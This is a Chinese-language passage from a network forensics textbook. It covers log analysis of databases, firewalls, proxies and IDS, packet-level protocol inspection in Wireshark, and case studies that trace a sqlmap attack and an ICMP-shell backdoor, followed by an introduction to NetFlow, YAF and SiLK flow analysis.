我们刚刚看到如何处理基本的应用程序服务器日志。现在，让我们看看如何获取数据库日志并在我们的取证调查中充分利用它们。像 MySQL 和 MS SQL 这样的数据库服务器包含包含有助于取证调查人员更好理解事件链的日志文件。MySQL 中的通用查询日志提供了攻击期间执行的所有查询：

我们可以看到，通用查询日志文件允许我们查看攻击者登录 MySQL 服务器时的失败尝试。然而，它也表明有两次成功的登录尝试。我们需要进一步调查：

我们可以看到，在失败的尝试之后，攻击者登录并在数据库上运行了前面的查询。查询日志文件方便我们 pinpoint 攻击者的实际意图。在接下来的章节中，我们将通过大量案例研究来探讨各种数据库。

在 XAMPP 上，可以通过运行以下查询启用通用查询日志：

SET global general_log = 1;

这是记录 MySQL 中所有查询的更好方法：

SET global general_log_file='/tmp/mysql.log'; 
SET global log_output = 'file';
SET global general_log = on;

防火墙日志

在网络基础设施中，你可能会遇到各种防火墙。防火墙日志可以揭示很多关于攻击的信息。我记得曾处理过一起案件，非洲一家知名银行遭窃取 70 万美元，攻击者在执行攻击之前已经潜伏在网络内部很长时间。经过彻底调查，找到泄露的指标和根本原因分析后，防火墙日志帮了大忙。我发现 checkpoint 防火墙日志中有记录显示特定域名被后门连接。我们在防火墙日志上进行了全网搜索，找到了第一次访问该域名的尝试，发现恶意攻击者的站点首次尝试连接至少是在事件发生前三个月。然而，由于发起连接的计算机仅连接到内部网络，我们得出结论：这次攻击是由内部人员实施的，这大大缩小了调查范围，仅剩下少数几个人。

解析防火墙日志并进行分析对调查员来说是一项艰巨的任务。如今，大多数智能防火墙都有自己的分析引擎。不过，如果你需要一个第三方的防火墙日志解析工具，Sawmill (www.sawmill.net) 是我的首选，因为它支持多种日志格式。以下是 Sawmill 解析的 Palo Alto 网络防火墙日志示例：

我们可以看到，在解析的日志中有多种选择：

我们有多个选项，包括用户摘要、主机摘要、源 IP、用户和内容。我们还可以查看访问的页面：

Sawmill 是一款付费产品。不过，您可以下载并免费试用 30 天。在接下来的章节中，我们将查看如何创建解析器。然而，为了专业地进行网络取证操作，建议使用 Sawmill。

Sawmill 安装指南可以在 www.sawmill.net/cgi-bin/sawmill8/docs/sawmill.cgi?dp+docs.technical_manual.installation+webvars.username+samples+webvars.password+sawmill 查找。

代理日志

网络中可能会有多种代理服务器。其中，Squid 代理服务器非常突出且被广泛使用。根据 Squid 网站的介绍，它是一种缓存代理，能够大幅减少带宽消耗和响应时间，适用于 HTTP、HTTPS 和 FTP 等服务。我们将再次使用 Sawmill 来调查代理日志：

  1. 我们可以看到，我们有多种数据，展示了用户摘要、流量、页面浏览量、会话数以及其他各种有用数据，比如顶级域名：

  1. 我们还可以查看最常浏览的 URLs：

  1. 你可以通过点击日期选择器来按日期过滤日志，选择相对日期，并选择时间范围：

假设你想查看某个特定用户在特定 URL 上的日志。你可以通过启用以下突出显示的过滤器来利用缩放功能：

在上面的截图中，蓝色圆圈带黑色环的是缩放按钮，而前导蓝点通常表示已缩放的项目。在前面的屏幕中，我们可以看到两个蓝点：一个位于bbabatop用户处，另一个位于geospecies.org网站上。接下来，我们只需要按下“过滤”按钮：

我们可以看到，所选条目现在已作为过滤器添加，我们需要保存并应用该过滤器来筛选条目。例如，针对babayomi用户和yahoo.com的过滤器，并选择“小时”时，得到以下结果：

你还可以通过构建这样的过滤器来查看日期和时间、年份、月份和天数，这在调查过程中非常有用。假设有恶意应用试图从网站下载有效负载。在这种情况下，你可以轻松追踪到第一次下载尝试，从而找到入侵指标（IOCs）和第一个被攻击的系统：

  1. 对windowsupdate.com的第一次尝试发生在 2006 年 9 月 8 日。点击“小时”，我们得到以下结果：

  1. 点击用户名，我们将能够获取请求该网站的用户：

  1. 我们可以看到，nobody和femiadedeji用户访问了目标域名。通过建立一个针对femiadedeji用户和该域名的过滤器，我们可以选择页面/目录，从而显示如下内容：

  1. 我们现在可以确认femiadedeji用户访问了windowsupdate.com并下载了.cab和.txt类型的文件：

  1. 当我们点击“使用详情”时，得到如下结果：

我们可以看到现在已经有很多与事件相关的详细信息。

IDS 日志

让我们再次使用 Sawmill，这次解析 snort 日志：

  1. 我们将选择创建新配置文件，这将导致如下结果：

  1. 选择Snort 日志，然后点击下一步，这将显示我们的日志检测过程：

  1. 在成功检测到日志类型后，我们将获得以下选项：

  1. 选择 Sourcefire Snort 2 格式并点击下一步。在下一个屏幕上，我们将看到一条消息，说明日志是 Syslog 格式。现在选择配置文件的名称：

  1. 点击完成按钮开始为日志创建数据库：

  1. 选择“处理数据并查看报告”后，以下过程将启动：

一旦过程完成，我们将看到报告。由于我们已经深入研究了过滤器，我将其作为练习留给你自己完成。然而，在我们继续之前，让我们讨论一下单页总结：

一个展示大多数统计信息的单页总结。我们可以看到，Sawmill 已为我们生成了目标和源 IP 的过滤器，并生成了一个总结供我们查看。有趣的是，我们在总结中也看到了以下细节：

我们可以轻松筛选出一个网络特洛伊警报。现在让我们看一个案例研究，并运用从前面的日志分析练习中学到的知识。

案例研究 – 黑客攻击尝试

假设你面临一个简单的场景，需要找出对某个特定 Web 应用程序发起攻击的来源。你所知道的唯一网络信息是该应用程序内部托管，并未与外部世界连接。网络中有一个缓存代理服务器。作为法医调查员，你首先向客户请求应用服务器的日志，并开始在 Apache 日志查看器中进行调查：

Apache 日志查看器

我们迅速推断出有两个特别重要的 IP 地址，192.168.174.157 和 192.168.174.150，且由于用户代理包含sqlmap，这是一次 SQL 注入攻击尝试。我们还可以看到包含关键字，如 WHERE 和 SELECT 的请求，这通常是 SQL 注入攻击中对易受攻击参数的尝试。经过进一步调查并与客户沟通，我们发现192.168.174.150是一个缓存代理服务器。因此，我们向客户请求了代理服务器的日志，可以在 Sawmill 软件中进行调查：

攻击者利用代理服务器将所有流量转发到目标应用程序。通过代理日志，我们能够确定发起请求的原始 IP。将192.168.174.142作为过滤器，并浏览源地址，得到以下信息：

再次，我们得到了192.168.174.157的 IP 地址作为罪魁祸首。此时，我们已经确定攻击来源于这个内部 IP，因此让我们调查这个 IP 地址。检查服务器后，我们发现它上面运行着 Apache 服务器，并且托管着一个存在漏洞的应用程序——php-utility-belt。我们相当确定某人是通过这个漏洞获得了对该机器的访问权限。让我们手动检查 Apache 的日志：

我们可以看到，只有一个 IP 地址访问了该服务器上的 Apache 应用程序，即192.168.174.152。让我们打开 Wireshark，看看是否还有数据包在这个 IP 地址之间传输：

是的，4433和4444端口上有大量数据传输。这确认了192.168.174.152的用户就是罪魁祸首，因为该系统没有连接到互联网，只有内部访问。

在整个案例研究中，我们看到了日志在调查过程中是如何帮助发现入侵攻击的。进行根本原因分析可以给出以下结论：

攻击者攻击了运行在192.168.174.157系统上的 PHP 工具带应用程序，并成功访问了该机器。由于受损系统使用 Squid 代理作为全局代理，所有对192.168.174.142服务器的应用程序攻击都通过了192.168.174.150的代理服务器。在192.168.174.142的 Apache 日志中揭示了192.168.174.150，而在192.168.174.150的 Squid 日志中揭示了192.168.174.157。进一步调查192.168.174.157上的 Apache 日志，最终揭示了攻击者为192.168.174.152。

总结

我们在本章开始时回顾了 OSI 模型，既然在上一章我们已经涵盖了基础的网络取证场景，因此本章我们将重点转向基于日志的分析。我们探讨了各种日志结构，并了解了如何利用不同类型的软件分析器来解析这些日志。我们研究了应用服务器日志、数据库日志、防火墙日志、代理服务器日志以及 IDS 日志。我们还运用了本章学到的策略来解决案例研究。现在，我们已经掌握了网络取证的基础知识，很快就会深入学习更高级的概念。

问题和练习

为了提升你在基于日志证据的网络取证技能，尝试回答/解决以下练习和问题：

  • 尝试通过下载本章 GitHub 页面上的网络证据，复制本章的所有练习。

  • 尝试使用高亮工具从www.fireeye.com/services/freeware/highlighter.html提取相关信息。

  • 尝试开发一个简单的 Shell 脚本，从 Apache 日志中提取所有唯一的 URL。

进一步阅读

查阅以下资源，了解本章节涉及的更多内容：

第二部分：关键概念

本节重点提高在获取和处理证据方面的技能。它涵盖了在调查场景中处理复杂协议、数据包结构和匿名流量的策略和方法。

以下章节将在本节中讨论：

  • 第三章，深度数据包检查

  • 第四章，统计流量分析

  • 第五章，对抗隧道技术与加密

第三章：深度数据包检查

深度数据包检查 (DPI) 在爱德华·斯诺登关于政府数据收集泄露事件发生后变得流行。它从一个普通的流行词变成了头条新闻。在本章中，我们将研究有助于 DPI 的各种协议和数据包特征。

我们将特别关注以下主题：

  • 多种协议的分析

  • 数据包封装和数据包分析

那么，为什么我们要学习 DPI 呢？DPI 是超越常规 TCP/IP 头部分析的过程，涉及分析数据载荷本身。

具有 DPI 功能的设备可以分析、评估并执行从第二层到应用层的操作。这意味着，具有 DPI 功能的设备不仅依赖于头部信息，还会检查作为数据部分发送的内容。因此，网络分析的整体传统正在发生变化。

DPI 被广泛应用于以下领域和服务：

  • 流量整形：阻止恶意流量/限制流量。

  • 服务保障：网络管理员可以确保高优先级的流量得到妥善处理，并且不会因流量问题导致服务中断。

  • 假应用程序的识别：利用非标准端口来利用标准协议数据的应用程序，DPI 可以轻松识别。

  • 恶意软件检测：由于 DPI 允许查看数据载荷本身，恶意软件检测变得更加容易。

  • 入侵检测：不仅是恶意软件，启用了 DPI 的系统还可以发现黑客攻击尝试、漏洞利用、后门等。

  • 数据泄漏防护 (DLP)：通过 DPI，我们还可以识别网络中外泄的关键数据，使其成为 DLP 系统的理想选择。

在深入之前，让我们理解不同通信层次上协议的封装过程。

技术要求

要完成本章中的练习，你将需要以下软件：

协议封装

在继续之前，让我们了解数据包的构成以及它们携带的各种信息。理解网络数据包不仅能帮助我们获取知识，还能帮助提升我们的网络取证技能。通俗地讲，我们可以认为网络数据包只是为了从一个端点/主机传输到另一个端点/主机而组合在一起的数据。然而，在网络的深处，一个 IP 数据包看起来类似于以下内容：

从最初的原始数据到以太网帧，再到 IP 数据包，再到 TCP 和 UDP 类型，最终到达应用数据，信息通过各种层进行封装。让我们看一个数据包封装的示例：

从前面的例子中我们可以看到，在传输过程中，数据包仅仅是一个封装了以太网信息的帧，包含源地址和目的地址的 MAC 地址。IP 头仅负责将数据包从一个端点发送到另一个端点，而 TCP 头则记录两个端点之间的通信。最后，我们有数据，它就是我们的第 7 层数据，如 HTTP 和 FTP。在下一节中，我们将简要查看 IP 头结构。

互联网协议头

如前所述，IP 头部分，让我们来看一个 IPv4 数据包的示例，并将其按字段分解：

  • 版本：版本包含 IP 数据包的格式。

  • IP 头长度（IHL）：IP 数据包头的长度。通常是数据包中的 32 位字数。

  • 差异化服务代码点（DCSP）：以前称为 TOS，通常用于实时通信。

  • 显式拥塞通知（ECN）：可以通过此字段检测拥塞。

  • 总长度：数据包的完整长度，包括数据和头部。

  • 标识符：用于唯一标识数据包，但是如果发生分片，此值将在所有分片中相同。

  • 标志：标志通常指示路由器是否允许分片数据包。

  • 分片偏移量：当发生分片时，此字段用于指示从数据报本身开始的偏移量。

  • 生存时间（TTL）：数据包在过期之前要经过的设备数量。

  • 协议：数据包的核心部分，描述数据包中封装了什么协议，例如 TCP、UDP 或其他传输层协议。

  • 头部校验和：用于错误检测。

  • 源地址：数据包发送者。

  • 目的地址：数据包的目的地。

  • 选项：额外选项。可变长度。

  • 填充：添加额外的比特，使数据包的长度成为 32 位的倍数。

让我们扩展数据包中的 IP 头部分，看看这些数据包值：

我们可以看到数据包的 IP 头中所有提到的字段。在我们的网络取证调查过程中，我们将不时使用它们。让我们看一下下一层封装，即 TCP 头。

传输控制协议头

在讨论完数据包的 IP 头后，我们在 Wireshark 中捕获了它。让我们看看 TCP 头：

我们可以看到，TCP 头包含以下几个部分：

  • Source Port: 生成数据包的端口。

  • Destination Port: 数据被发送到特定主机的端口。

  • Sequence number: 第一个数据字节的位置。

  • Acknowledge number: 接收主机期望的下一个数据字节。

  • Header Length: 传输层头部的长度，单位为 32 位字。

  • Flags: 控制位字段具有以下类型的值：

    • URG: 优先处理数据

    • ACK: 确认接收到的数据包

    • PSH: 立即推送数据

    • RST: 中止连接

    • SYN: 发起连接

    • FIN: 关闭连接

    • NS ECN-nonce - 隐匿保护

    • Congestion Window Reduced (CWR)

    • ECE ECN: Echo 标志表示对端可以使用 ECN（如果 SYN 标志已设置）；否则，表示网络拥塞。

  • Window: 可以接受的数据大小/数量。

  • Checksum: 用于在检查头部、数据和伪头部时查找错误

  • Urgent pointer: 指向紧急数据结束的位置。

  • Options: 附加选项。

  • Padding: 通过填充头部进行大小匹配。

继续深入数据包封装，我们可以看到其中包含的 TCP 有效负载，这部分包含 HTTP 数据包：

HTTP 数据包

HTTP 数据包包括以下内容：

  • Request Line: 包含GET/POST请求类型或其他 HTTP 选项，后跟请求的资源，在我们的例子中是cloudquery.php，支持 HTTP/1.1 版本的 HTTP 协议。

  • Request Message Headers: 这一部分包含所有的头部信息，如一般头部、请求头部和实体头部。

  • Message Body: 发送到端点的数据，如文件、参数和图像，放置在此处。

在我们的例子中，我们可以看到数据是一个POST请求类型，向54.255.213.29 IP 地址上的cloudquery.php页面发送数据。我们还可以看到发送的数据包含一些文件数据。我们可以看到消息体：

我们可以看到发送的数据看起来像乱码。我们将在接下来的章节中了解更多关于数据的解密、解码和解压。

到目前为止，我们已经看到了一帧数据如何在传输中封装各种数据，这些数据是针对 TCP/IP 模型各层的。我们还看到数据帧如何直接传递到包含一些加密数据的 HTTP 请求。接下来，让我们继续前进，了解有时被称为未知协议的内容，并了解如何在 Wireshark 中使它们可识别。

分析 TCP 数据包

世界逐步转向使用 DPI 等技术的原因之一，也是为了识别非标准端口上的协议。考虑以下场景：一个 FTP 服务器监听在10008端口，这是一个非标准的 FTP 端口，或者攻击者渗透进网络并使用443端口监听 FTP 数据包。你怎么识别出 HTTP 端口被用作 FTP 服务呢？DPI 可以实现这一点，通过分析包内的内容，而不仅仅是通过端口号识别服务类型。让我们来看一个捕获文件的示例：

从前面的截图中，我们无法准确判断 TCP 包所指的是哪种应用层协议。然而，如果我们仔细查看数据包中的数据，令人惊讶的是，我们发现了以下内容：

我们可以看到解码后的数据包含了一系列 FTP 命令。这意味着协议是 FTP，但 Wireshark 没有解码出该协议的原因和一些防火墙及流量分析工具相同，它们通过端口号来识别协议，而不是深入分析数据内容，找到真正重要的部分，这也是为什么需要深度包检测（DPI）的原因。不过，我们还是来看看如何解码这些数据，并尝试将其解码回 FTP：

我们来尝试通过右键点击一个数据包并查看 TCP 流：

我们可以看到，TCP 流显示了各种 FTP 细节，例如发出的命令。然而，这并不是我们需要的内容。我们需要一个机制，能够强制 Wireshark 解码这些数据，一劳永逸。让我们再看看这个数据包：

我们可以看到，源端口是10008，这是来自 FTP 服务器的数据。我们可以快速记下这个信息。接下来，我们需要将其解码为 FTP；我们可以使用 Wireshark 的“解码为...”功能：

一旦我们点击解码为...按钮，屏幕上会弹出以下对话框：

我们点击+按钮，这将显示以下条目：

由于源端口是10008，我们将其从55695修改为10008，并将Current设置为FTP，如下所示：

我们点击确定按钮来查看数据包的变化：

哇！现在我们可以看到 FTP 数据了。我们刚刚看到，我们可以识别出运行在非标准端口上的协议。

我们已经了解了 TCP 数据包的工作原理，并且看到了一些它的应用，比如 HTTP 和 FTP。现在让我们来分析 UDP 数据包，探讨其最常见的应用——DNS。我知道有些人可能会争论 DNS 有时同时使用 TCP 和 UDP，例如区域传输。然而，在大多数操作中，如解析查询，DNS 仅使用 UDP 数据包。

分析 UDP 数据包

用户数据报协议（UDP）主要用于实时通信和对速度要求较高的情况。UDP 的头部大小为 8 字节，而 TCP 为 20 字节。UDP 数据包没有段确认，通常速度更快，因为它是一个无连接协议。同时，错误检查仍然是 UDP 的一部分，但不会报告错误。UDP 的一个常见例子是 互联网语音协议（VoIP）。与我们在本章开头讨论的结构相比，UDP 的结构如下：

我们可以看到，许多字段已经被简化，主要只剩下 源端口、目标端口、长度 和 校验和 字段。让我们通过在 Wireshark 中分析一个 UDP 数据包来验证这一点：

我们可以看到，我们有一些前面图中提到的字段。此外，我们还可以看到 DNS 数据，它就是图中提到的数据字段。让我们展开 DNS 字段，看看我们能获得哪些详细信息：

我们可以看到，原始数据已被 Wireshark 解码，显示了 事务 ID、问题、答案以及其他细节：

我们可以看到，在查询部分，我们还可以看到域名和子域名值、记录类型和地址。你可以看到，指向任何前述字段都会突出显示原始数据段：

理解每个原始数据包还可以帮助我们开发 PCAP 阅读器和自定义网络分析器。因此，让我们基于以下数据字段构建一些过滤器：

我们看到一个叫做 DNS 事务 ID 的字段。我们可以通过将 DNS 和 ID 结合在一起，并将其值设为 0x2581 来利用它。过滤器如下所示：

dns.id ==0x2581

使用过滤器后，我们将得到该事务的唯一数据包，如我们所见，我们有一个 DNS 标准查询及其相关响应。Wireshark 允许我们通过解析原始字段，对 DNS 和其他协议进行多种过滤操作：

让我们看一个 DNS 查询如何工作的例子，然后在下一个例子中通过实际捕获我们联网无线接口上的数据包，找出它们相应的响应时间。另外，我们将只捕获端口 53 上的数据包，以分析如下一截图所示的 DNS 查询和响应：

我们使用一个捕获过滤器，只会捕获来自端口 53 的包。让我们双击 Wi-Fi 接口并开始捕获：

我们可以看到数据已经开始流动。让我们打开一些网站，并通过设置标志过滤器为 0x8180，将显示过滤器设置为 dns.flags == 0x8180。值 0x8180 表示标准 DNS 响应。我们来看一下结果如下：

Wireshark 仅显示标准 DNS 响应包。让我们也分析它们的响应时间。我们可以看到每个包都有一个相关的响应时间：

让我们右键点击时间字段并选择 应用为列：

现在我们可以看到包列表中添加了另一个字段：

我们新增了一列，时间。不过，条目的名称与时间重复了。我们可以通过右键点击并选择编辑列来更改它：

现在我们可以重命名字段 响应时间：

让我们查看包列表：

现在我们可以看到所有 DNS 响应包的响应时间。然而，我们也可以看到一些包没有这个值，这些包是 DNS 响应被接收了两次。你可能会想，为什么我们在网络取证书中讨论这个问题？这是因为，了解这些包的基本知识将帮助我们理解接下来章节中的复杂示例。我们仍然处于学习阶段，在接下来的几章中，我们在这里学到的内容将开始变得有意义。所以，让我们继续并查看那些使用 dns.retransmit_response 过滤器重新传输的包：

现在我们只看到重新传输的响应。我们还可以基于查询名称过滤所有查询；让我们过滤掉与 google.com 相关的所有查询。我们可以设置一个过滤器，例如 dns.qry.name contains "google.com"：

分析 ICMP 包

让我们来看看互联网控制消息协议（ICMP）。它是最流行的协议之一，更为人所知的是它用于 ping 命令，其中 ICMP 回声请求被发送到某个 IP 地址，附带一些随机数据，然后表明该系统是否存活。一个典型的 ICMP 数据包看起来是这样的：

ICMP 有许多消息，这些消息由消息类型字段标识。代码字段指示消息的类型。标识符和序列号可以由客户端用来匹配导致响应的请求。

数据字段可能包含一个随机字符串或时间戳，用于以无状态的方式计算往返时间。让我们对www.google.com/进行 ping 测试，并在 Wireshark 中分析它：

我们可以看到有四个回声请求和四个回声应答数据包。让我们先看看请求：

请求是回声类型（Echo），标识为数字 8，代码为 0。

查看 ICMP 类型和代码，请访问www.iana.org/assignments/icmp-parameters/icmp-parameters.xhtml#icmp-parameters-codes-8。

我们还可以看到数据从09b开始，直到 48 字节。由于我们正在对 Google 进行 ping 测试，如果 Google 在线，它会将相同的数据返回给我们。让我们看看响应：

我们可以看到数据被原样返回，表明系统正常运行。同时，我们可以看到标识符和序列号与请求中的相似。回声应答的类型为0，代码也保持为 0。让我们看看当 IP 地址不可达时会发生什么：

上面的ping命令表明丢包率为 100%；让我们看看 Wireshark：

我们可以看到 Wireshark 没有看到任何响应，因此它标记为“未找到响应”。

到目前为止，我们已经涵盖了 TCP、UDP 和 ICMP 协议的基础知识。接下来，让我们通过一个案例研究来分析涉及的 PCAP 证据文件。

案例研究 – ICMP 洪水攻击或其他情况

想象一下，你是一名网络取证专家，负责分析 PCAP 文件。只要你在 Wireshark 中打开该文件，你就会看到以下内容：

从捕获文件中，我们可以看到它包含大量在 192.168.153.129 和 192.168.153.130 之间来回传输的 ICMP 数据包。我们通过右击 Wireshark 中的列标题，选择 列首选项，然后点击 + 按钮，选择其类型为 UTC 来快速添加一个新列，显示 UTC 时间，如下所示：

接下来，我们进入 统计 标签页，选择捕获文件属性：

上述选项将填充以下窗口：

我们可以看到关于捕获文件的许多细节，比如第一个数据包、最后一个数据包的日期和时间、持续时间、每秒平均数据包数以及捕获的数据包数量。当我们填充 端点 标签页时，我们可以看到以下内容：

我们可以快速确定 192.168.153.129 和 192.168.153.130 这两个 IP 地址正在通信。我们可以通过打开 对话 标签页来确认这一点：

我们可以看到两个 IP 地址正在通信。然而，奇怪的是，这两个 IP 之间交换的唯一流量是 ICMP 流量。使用 icmp.type == 8 过滤器可以显示从 192.168.153.129 到 192.168.153.130 发送的 510 个 ICMP 回显请求：

让我们通过设置 icmp.type == 0 来查看回复的数量，如下所示：

我们可以看到，回复的数量几乎等于请求的数量——奇怪！有人绝不会故意发送这么多的 ping 请求——除非他们在进行 DoS 攻击。然而，执行 死亡 Ping 或 Ping DoS 攻击将需要显著更多的数据包。

Ping DoS 攻击需要更多的数据包，但死亡 Ping 攻击可能只需在脆弱的系统上使用一个数据包。

这里有些问题。让我们调查一下数据包：

一切正常，直到我们看到第 149 个数据包，此时目标没有收到回复。下一个数据包，第 150 个，包含了一些有趣的内容：

数据包 150 包含数据段中的 ipconfig。嗯……这有点尴尬！让我们进一步调查：

数据包编号 179 中包含一个系统路径。这真是糟糕透了！发现的痕迹表明有人正在通过 ICMP Shell 访问这个系统。ICMP Shell 是一个后门，利用数据字段向攻击者发送命令的回复。由于所有请求都来自192.168.153.129，我们确定了攻击者。我们还发现了另一个奇怪的现象：除了数据包的 ICMP 后门数据包外，ICMP 数据包缺少数据字段。这使得我们能够专注于仅包含数据的包，针对这个，我们可以使用“data”作为过滤器：

我们可以看到，经过过滤后，我们只剩下了 17 个数据包，而原本有 1,087 个数据包，这些数据包可以很容易地通过 Tshark 进行遍历。Tshark 是命令行版本的无线工具，对于喜欢命令行的人来说，Tshark 要好得多。我们将使用 PowerShell 在 Windows 中运行 Tshark，如下所示：

.\tshark.exe  -Y data -r C:\Users\Apex\Desktop\Wire\icmp_camp.pcapng -T fields -e data

上面的命令使用了-Y开关来指定数据过滤器，-r指定捕获文件的路径，-T指定打印的字段类型，-e指定将打印的字段。此外，关于这些可选开关的更多细节可以通过在 Windows 中使用man tshark或tshark –help命令来查看。现在，让我们按照以下截图运行这个命令：

我们可以看到我们拥有来自 17 个数据包的所有十六进制数据。让我们将这些数据复制到 Notepad++中：

Notepad++内置了将十六进制转换为 ASCII 的插件。让我们浏览到插件标签并选择转换器 | Hex -> ASCII：

一旦我们按下Hex -> ASCII选项，我们将看到如下内容：

天啊！有人在系统上执行了命令；他们运行了ipconfig，接着运行了whoami命令。

在这个练习中，我们看到看似无害的 ICMP 数据包被用来访问一个被攻陷的系统。然而，在整个练习过程中，我们学会了做几件事：我们调查了 ICMP 数据包，发现了一些恶意活动，从不同的数据包中收集并将数据整合到一个文件中，接着将它们从十六进制解码成 ASCII，揭示了攻击者的意图以及他们在目标系统上执行的活动。我们还识别出后门利用 ICMP 协议进行命令和控制，并且第一次使用了 Tshark。

总结

本章我们介绍了一些深入的理论。我们从分析 IP 和 TCP 协议头开始，接着分析了 HTTP 协议。然后，我们分析了 FTP 协议以及面向 UDP 的 DNS 服务。我们研究了 ICMP 协议，并查看了一个 ICMP 用于命令与控制的案例研究。在整个章节中，我们学习了新的和高级的概念，帮助我们分析各种数据包和协议。在下一章中，我们将学习统计流量分析，并了解它如何帮助我们进行高效的网络取证工作。

问题和练习

为了提升你在各种协议和数据包上的网络取证技能，尝试回答/解决以下练习和问题：

  • 请参考关于 ICMP 的案例研究。通过分析 dns-shell (github.com/sensepost/DNS-Shell)，尝试进行类似的 DNS 练习。

  • 研究至少五种不同的数据包结构，包括 IPv6、TLS、NTP 等等。

  • 在 Linux 中编写一个小的 Bash 脚本，将十六进制字符转换为 ASCII。

进一步阅读

要了解更多关于 DPI 的信息，请查看 is.muni.cz/th/ql57c/dp-svoboda.pdf。

第四章：统计流分析

统计流分析有助于在庞大的网络中识别被攻陷的机器，通过交叉参考来批准或否定数据泄漏防护（DLP）系统的发现，并在需要时进行个人画像。这种分析方式可以揭示大量信息。它可以帮助您找到被攻陷的机器或外泄的关键业务文件。您可以通过分析某人，了解他们的工作时间表、非工作时间或在工作时的娱乐来源。

本章将涵盖以下关键概念：

  • 统计流分析

  • 收集和聚合数据

  • 关于互联网协议流信息导出（IPFIX）和 NetFlow 的关键概念

技术要求

完成本章练习时，您将需要以下工具和代码：

流记录和流记录处理系统（FRPS）

流记录是网络上流的元数据。考虑一个场景，其中一个被感染的系统正在与攻击者的系统通信，并将两个 5 MB 的文档上传到攻击者的系统。在这种情况下，流记录将包含如被感染主机和攻击者系统的 IP 地址、端口号、日期和时间以及交换的数据量等信息，在本例中大约为 10 MB。

理解流记录处理系统

负责管理、构建和处理流记录的系统被称为流记录处理系统。FRPS 包括以下组件：

  • 传感器：监控网络中的所有流量流，并为这些流生成流记录。

  • 收集器：一种服务器应用程序，从传感器接收流记录并将其存储到磁盘中。网络中可以有多个收集器。

  • 聚合器：用于聚合、排序和管理来自多个来源（收集器）的数据。

  • 分析器：分析数据的位和字节，并产生有意义的信息，揭示各种问题。

传感器负责创建流记录。传感器的种类各异。基于网络的传感器主要是交换机和其他支持流记录生成和导出的网络设备。例如，思科交换机生成 IPFIX 格式的流记录，而其他设备可能使用 NetFlow 或 sFlow 格式。如果现有的基础设施不支持 NetFlow 的记录和导出功能，也可以使用基于硬件的独立设备。

探索 NetFlow

现在我们已经了解了流记录和 FRPS，接下来我们开始探索 NetFlow。假设在取证场景中，我们捕获了 100 GB 的完整数据包 PCAP 文件。这么大的 PCAP 文件不容易携带和处理。此时，我们可以转向 NetFlow。它去除了数据包的负载部分，仅收集头部信息。

在前面的章节中，我们学习了如何处理各种头部信息，如 IPV4、TCP 和 UDP。如果我们去除负载，只剩下头部信息，那么我们的 100 GB PCAP 文件就能缩减为可处理的 600-700 MB。

NetFlow 有多种头部信息，例如以下内容：

  • 源 IP

  • 目标 IP

  • 源端口

  • 目标端口

  • 协议

  • TCP 标志

  • 时间

  • 字节信息

  • 数据包信息

换句话说，我们可以说它可以作为完全数据包捕获的替代方案。然而，我们不能依赖它进行智能分析，因为这需要完全的数据包捕获。NetFlow 可以被看作是一张电话账单，我们知道是谁打了电话，但无法恢复通话内容。NetFlow 有十个版本，从 v1 到 v10。然而，广泛使用的版本是 v5 和 v10（IPFIX），我们将在后续进行更详细的讨论。

单向流和双向流

另一个简单的概念是单向流（uniflow）和双向流（bitflow）。假设系统 1 向系统 2 发送了 500 字节的数据，而系统 2 回应了 3500 字节的数据。在单向流中，这将被视为两个独立的实体，而在双向流中，它将被视为一个单一的双向实体，传输了 4000 字节的数据。可以如下查看：

172.16.62.1 59,628 172.16.62.2 80 2019-01-19 14:22 500 字节
172.16.62.2 80 172.16.62.1 59,628 2019-01-19 14:22 3,500 字节
172.16.62.1 59,628 172.16.62.2 80 2019-01-19 14:22 4,000 字节

前两条记录代表单向流（uniflow），而最后一条记录代表双向流（bitflow）。同时，单向流提供比双向流更多的信息，因为你可以知道每个端点发送/接收了多少数据。

传感器部署类型

我们刚才看过了单向流和双向流。现在让我们讨论一下 FRP 部署和架构，帮助顺利进行网络分析。通常，FRP 组件按以下示意图所示连接到网络中：

上述图示强调了网络中传感器的部署，其中传感器是路由器的一部分，通过专用通道，它将日志传输到收集器，然后存储到存储单元中。存储单元进一步与分析器连接，用于深入分析。架构可以根据不同类型有所不同，例如用于主机流量、边界和区域网络的可视化。

我们将通过一个图标表示 FRP 系统，如前图所示。我们可以看到，FRP 位于防火墙与内部路由器之间。该设置展示了边界可视化的使用。类似地，通过将传感器放置在大多数交换机上并聚合记录，可以实现区域（交换机层级）可视化：

主机流量可通过将传感器放置在端点本身并聚合记录来实现：

分析流量

许多工具有助于辅助统计流量分析。最常见的有Yet Another Flowmeter（YAF）、Internet-Level 知识系统（SiLK）、iSiLK、Argus、Wireshark 和 Bro。虽然它们大多数提供类似的功能集，我们将主要讨论开源的 YAF 和 SiLK，因为它们易于获取。我们在前面的章节中稍微讨论了 IPFIX。让我们来看一下如何通过 YAF 将 PCAP 文件转换为 IPFIX 格式。YAF 是一个将 pcap 文件或来自网络接口的实时捕获数据处理成双向流并转换为 IPFIX 定向文件格式的工具。YAF 输出的数据可以供流行的工具使用，如 SiLK 和其他 IPFIX 兼容工具。YAF 包含两个主要工具，一个是 YAF 本身，另一个是yafascii，它根据启用 IPFIX 的输入文件以 ASCII 格式打印数据。YAF 还有其他 PCAP 工具，如yafMetas2Pcap和getFlowKeyHash，我们将在后续章节中使用这些工具。

将 PCAP 转换为 IPFIX 格式

YAF 可以将 PCAP 文件转换为 IPFIX 格式，如下图所示：

我们可以看到，执行之前的命令yaf --in filename.pcap --out filename.yaf会生成一个新的文件Fullpack.yaf，该文件为 IPFIX 格式。YAF 还可以选择性地进行应用标签、深度数据包检查、DHCP 指纹识别等操作。

查看 IPFIX 数据

由于我们已将文件转换为 IPFIX 格式，让我们使用 yafascii 工具以 ASCII 格式打印出其内容，如下图所示：

执行之前的命令将生成类似于以下内容的文本文件：

我们可以看到数据以 IPFIX 可打印格式呈现。既然我们已经覆盖了 PCAP 转换的基础知识，接下来让我们尝试对 IPFIX 文件进行一些分析。

使用 SiLK 进行流量分析

SiLK 是 CERT NetSA 提供的一组工具和脚本，旨在简化大型网络环境中的分析工作。SiLK 帮助收集、存储和分析网络数据，并使安全团队能够查询各种历史数据集。让我们对上一个示例中的文件进行一些分析，并使用 SiLK 提供的不同工具。

然而，在我们这样做之前，我们需要将分析文件转换为 SiLK 格式，而不是使用平面的 IPFIX 格式。我们将文件转换为 SiLK 格式而不是使用平面 IPFIX 格式的原因是，SiLK 格式的文件在空间使用上更加高效。在前面的示例中，我们将 PCAP 文件转换为 IPFIX 格式。现在让我们使用转换后的文件并将其转换为 SiLK 格式，如下所示：

